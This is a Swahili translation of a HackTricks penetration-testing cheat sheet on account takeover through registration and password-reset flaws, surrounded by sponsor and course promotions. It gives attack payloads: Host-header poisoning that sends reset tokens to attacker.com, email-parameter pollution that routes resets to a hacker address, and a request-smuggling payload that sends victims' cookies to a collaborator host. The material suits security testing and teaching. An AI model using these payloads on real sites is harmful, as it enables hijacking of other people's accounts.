mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
228 lines
11 KiB
Markdown
228 lines
11 KiB
Markdown
# Misaada ya Usajili & Mapungufu ya Kuchukua Udhibiti
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
### [WhiteIntel](https://whiteintel.io)
|
|
|
|
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malware za wizi**.
|
|
|
|
Lengo kuu la WhiteIntel ni kupambana na kuchukua udhibiti wa akaunti na mashambulio ya ransomware yanayotokana na malware za wizi wa habari.
|
|
|
|
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** hapa:
|
|
|
|
{% embed url="https://whiteintel.io" %}
|
|
|
|
***
|
|
|
|
## Kuchukua Udhibiti wa Usajili
|
|
|
|
### Usajili wa Kujirudia
|
|
|
|
* Jaribu kuzalisha ukitumia jina la mtumiaji lililopo
|
|
* Angalia kwa kubadilisha barua pepe:
|
|
* herufi kubwa
|
|
* \+1@
|
|
* ongeza mshale katika barua pepe
|
|
* herufi maalum katika jina la barua pepe (%00, %09, %20)
|
|
* Weka herufi nyeusi baada ya barua pepe: `test@test.com a`
|
|
* victim@gmail.com@attacker.com
|
|
* victim@attacker.com@gmail.com
|
|
|
|
### Uchunguzi wa Jina la Mtumiaji
|
|
|
|
Angalia ikiwa unaweza kugundua wakati jina la mtumiaji tayari limeandikishwa ndani ya programu.
|
|
|
|
### Sera ya Nenosiri
|
|
|
|
Unapounda mtumiaji angalia sera ya nenosiri (angalia ikiwa unaweza kutumia nywila dhaifu).\
|
|
Katika kesi hiyo unaweza jaribu kuvunja nguvu za siri.
|
|
|
|
### SQL Injection
|
|
|
|
[**Angalia ukurasa huu** ](sql-injection/#insert-statement)ili kujifunza jinsi ya kujaribu kuchukua udhibiti wa akaunti au kutoa habari kupitia **SQL Injections** katika fomu za usajili.
|
|
|
|
### Uchukua Udhibiti kupitia Oauth
|
|
|
|
{% content-ref url="oauth-to-account-takeover.md" %}
|
|
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Mapungufu ya SAML
|
|
|
|
{% content-ref url="saml-attacks/" %}
|
|
[saml-attacks](saml-attacks/)
|
|
{% endcontent-ref %}
|
|
|
|
### Badilisha Barua Pepe
|
|
|
|
Baada ya kusajili jaribu kubadilisha barua pepe na angalia ikiwa mabadiliko haya yanathibitishwa kwa usahihi au yanaweza kubadilishwa kuwa barua pepe za kupindukia.
|
|
|
|
### Uchunguzi Zaidi
|
|
|
|
* Angalia ikiwa unaweza kutumia **barua pepe za kutumika mara moja**
|
|
* **Nenosiri ndefu** (>200) husababisha **DoS**
|
|
* **Angalia mipaka ya kiwango cha uundaji wa akaunti**
|
|
* Tumia username@**burp\_collab**.net na uchambue **kurudi kwa wito**
|
|
|
|
## **Kuchukua Udhibiti wa Rudisha Nenosiri**
|
|
|
|
### Kuvuja kwa Kitambulisho cha Rudisha Nenosiri Kupitia Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
|
|
|
1. Omba kurejesha nenosiri kwa anwani yako ya barua pepe
|
|
2. Bonyeza kiungo cha kurejesha nenosiri
|
|
3. Usibadilishe nenosiri
|
|
4. Bonyeza tovuti za tatu(eg: Facebook, twitter)
|
|
5. Kukamata ombi katika Burp Suite proxy
|
|
6. Angalia ikiwa kichwa cha referrer kinavuja kitambulisho cha kurejesha nenosiri.
|
|
|
|
### Sumu ya Rudisha Nenosiri <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
|
|
|
1. Kukamata ombi la kurejesha nenosiri katika Burp Suite
|
|
2. Ongeza au hariri vichwa vifuatavyo katika Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
|
3. Wasilisha ombi lenye kichwa kilichobadilishwa\
|
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
|
4. Tafuta URL ya kurejesha nenosiri kulingana na _kichwa cha mwenyeji_ kama : `https://attacker.com/reset-password.php?token=TOKEN`
|
|
|
|
### Rudisha Nenosiri Kupitia Parameta ya Barua Pepe <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
|
```powershell
|
|
# parameter pollution
|
|
email=victim@mail.com&email=hacker@mail.com
|
|
|
|
# array of emails
|
|
{"email":["victim@mail.com","hacker@mail.com"]}
|
|
|
|
# carbon copy
|
|
email=victim@mail.com%0A%0Dcc:hacker@mail.com
|
|
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
|
|
|
|
# separator
|
|
email=victim@mail.com,hacker@mail.com
|
|
email=victim@mail.com%20hacker@mail.com
|
|
email=victim@mail.com|hacker@mail.com
|
|
```
|
|
### IDOR kwenye Vigezo vya API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
|
|
|
1. Mshambuliaji lazima aingie kwenye akaunti yao na kwenda kwenye kipengele cha **Badilisha nenosiri**.
|
|
2. Anza Burp Suite na Kukamata ombi
|
|
3. Tuma kwenye kichupo cha kurudia na urekebishe vigezo: Kitambulisho cha Mtumiaji/barua pepe\
|
|
`powershell POST /api/changepass [...] ("fomu": {"barua pepe":"mwathiriwa@email.com","nenosiri":"salama"})`
|
|
|
|
### Kitufe Dhaifu cha Kurejesha Nenosiri <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
|
|
|
Kitufe cha kurejesha nenosiri kinapaswa kuundwa kwa nasibu na kuwa kipekee kila wakati.\
|
|
Jaribu kubaini ikiwa kitufe hicho kina muda wa kumalizika au ikiwa ni sawa kila wakati, kwa baadhi ya matukio algorithmu ya uundaji ni dhaifu na inaweza kudhaniwa. Viwango vifuatavyo vinaweza kutumiwa na algorithmu.
|
|
|
|
* Muda wa saa
|
|
* Kitambulisho cha Mtumiaji
|
|
* Barua pepe ya Mtumiaji
|
|
* Jina la Kwanza na la Mwisho
|
|
* Tarehe ya Kuzaliwa
|
|
* Kriptografia
|
|
* Nambari pekee
|
|
* Mfululizo mdogo wa kitufe (herufi kati ya \[A-Z,a-z,0-9])
|
|
* Kutumia kitufe tena
|
|
* Tarehe ya muda wa kitufe kumalizika
|
|
|
|
### Kuvuja kwa Kitufe cha Kurejesha Nenosiri <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
|
|
|
1. Chochote ombi la kurejesha nenosiri kwa kutumia API/UI kwa barua pepe fulani k.m: jaribio@mail.com
|
|
2. Angalia majibu ya seva na tafuta `resetToken`
|
|
3. Kisha tumia kitufe kwenye URL kama `https://mfano.com/v3/mtumiaji/nenosiri/rejesha?resetToken=[KITUFU_CHA_KUREJESHA]&barua pepe=[BARUA_PEPE]`
|
|
|
|
### Kurejesha Nenosiri Kupitia Kugongana kwa Jina la Mtumiaji <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
|
|
|
1. Jisajili kwenye mfumo na jina la mtumiaji linalofanana na jina la mtumiaji wa muathiriwa, lakini na nafasi nyeupe zilizoingizwa kabla na/au baada ya jina la mtumiaji. k.m: `"admin "`
|
|
2. Omba kurejesha nenosiri na jina lako la mtumiaji la hila.
|
|
3. Tumia kitufe kilichotumwa kwenye barua pepe yako na urejeshe nenosiri la muathiriwa.
|
|
4. Unganisha kwenye akaunti ya muathiriwa na nenosiri jipya.
|
|
|
|
Jukwaa la CTFd lilikuwa na udhaifu wa shambulio hili.\
|
|
Angalia: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
|
|
|
### Kuchukua Udhibiti wa Akaunti Kupitia Kuvuja kwa Maandishi ya Msalaba kwenye Tovuti <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
|
|
|
1. Tafuta XSS ndani ya programu au kikoa ikiwa vidakuzi vimeelekezwa kwenye kikoa cha mzazi: `*.domain.com`
|
|
2. Vuja **kuki za vikao vya sasa**
|
|
3. Thibitisha kama mtumiaji kwa kutumia kuki
|
|
|
|
### Kuchukua Udhibiti wa Akaunti Kupitia Ombi la HTTP Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
|
|
|
1. Tumia **smuggler** kugundua aina ya Ombi la HTTP Smuggling (CL, TE, CL.TE)\
|
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
|
2. Unda ombi litakalobadilisha `POST / HTTP/1.1` na data ifuatayo:\
|
|
`GET http://kitu.burpcollaborator.net HTTP/1.1 X:` kwa lengo la kuhamisha waathiriwa kwenye burpcollab na kuiba vidakuzi vyao\
|
|
3. Ombi la mwisho linaweza kuonekana kama ifuatavyo
|
|
```
|
|
GET / HTTP/1.1
|
|
Transfer-Encoding: chunked
|
|
Host: something.com
|
|
User-Agent: Smuggler/v1.0
|
|
Content-Length: 83
|
|
0
|
|
|
|
GET http://something.burpcollaborator.net HTTP/1.1
|
|
X: X
|
|
```
|
|
Hackerone ripoti za kutumia kosa hili\
|
|
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
|
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
|
|
|
### Kuchukua Akaunti kupitia CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
|
|
|
1. Unda mzigo wa CSRF, k.m: "Fomu ya HTML na utoaji wa moja kwa moja kwa mabadiliko ya nenosiri"
|
|
2. Tuma mzigo
|
|
|
|
### Kuchukua Akaunti kupitia JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
|
|
|
JSON Web Token inaweza kutumika kuthibitisha mtumiaji.
|
|
|
|
* Hariri JWT na Kitambulisho cha Mtumiaji / Barua pepe nyingine
|
|
* Angalia saini dhaifu ya JWT
|
|
|
|
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
|
|
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Marejeo
|
|
|
|
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
|
|
|
### [WhiteIntel](https://whiteintel.io)
|
|
|
|
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa utendaji wa **bure** kuchunguza ikiwa kampuni au wateja wake wameathiriwa na **malware za wizi**.
|
|
|
|
Lengo kuu la WhiteIntel ni kupambana na kuchukua akaunti na mashambulio ya ransomware yanayotokana na programu hasidi ya wizi wa habari.
|
|
|
|
Unaweza kutembelea tovuti yao na kujaribu injini yao kwa **bure** hapa:
|
|
|
|
{% embed url="https://whiteintel.io" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|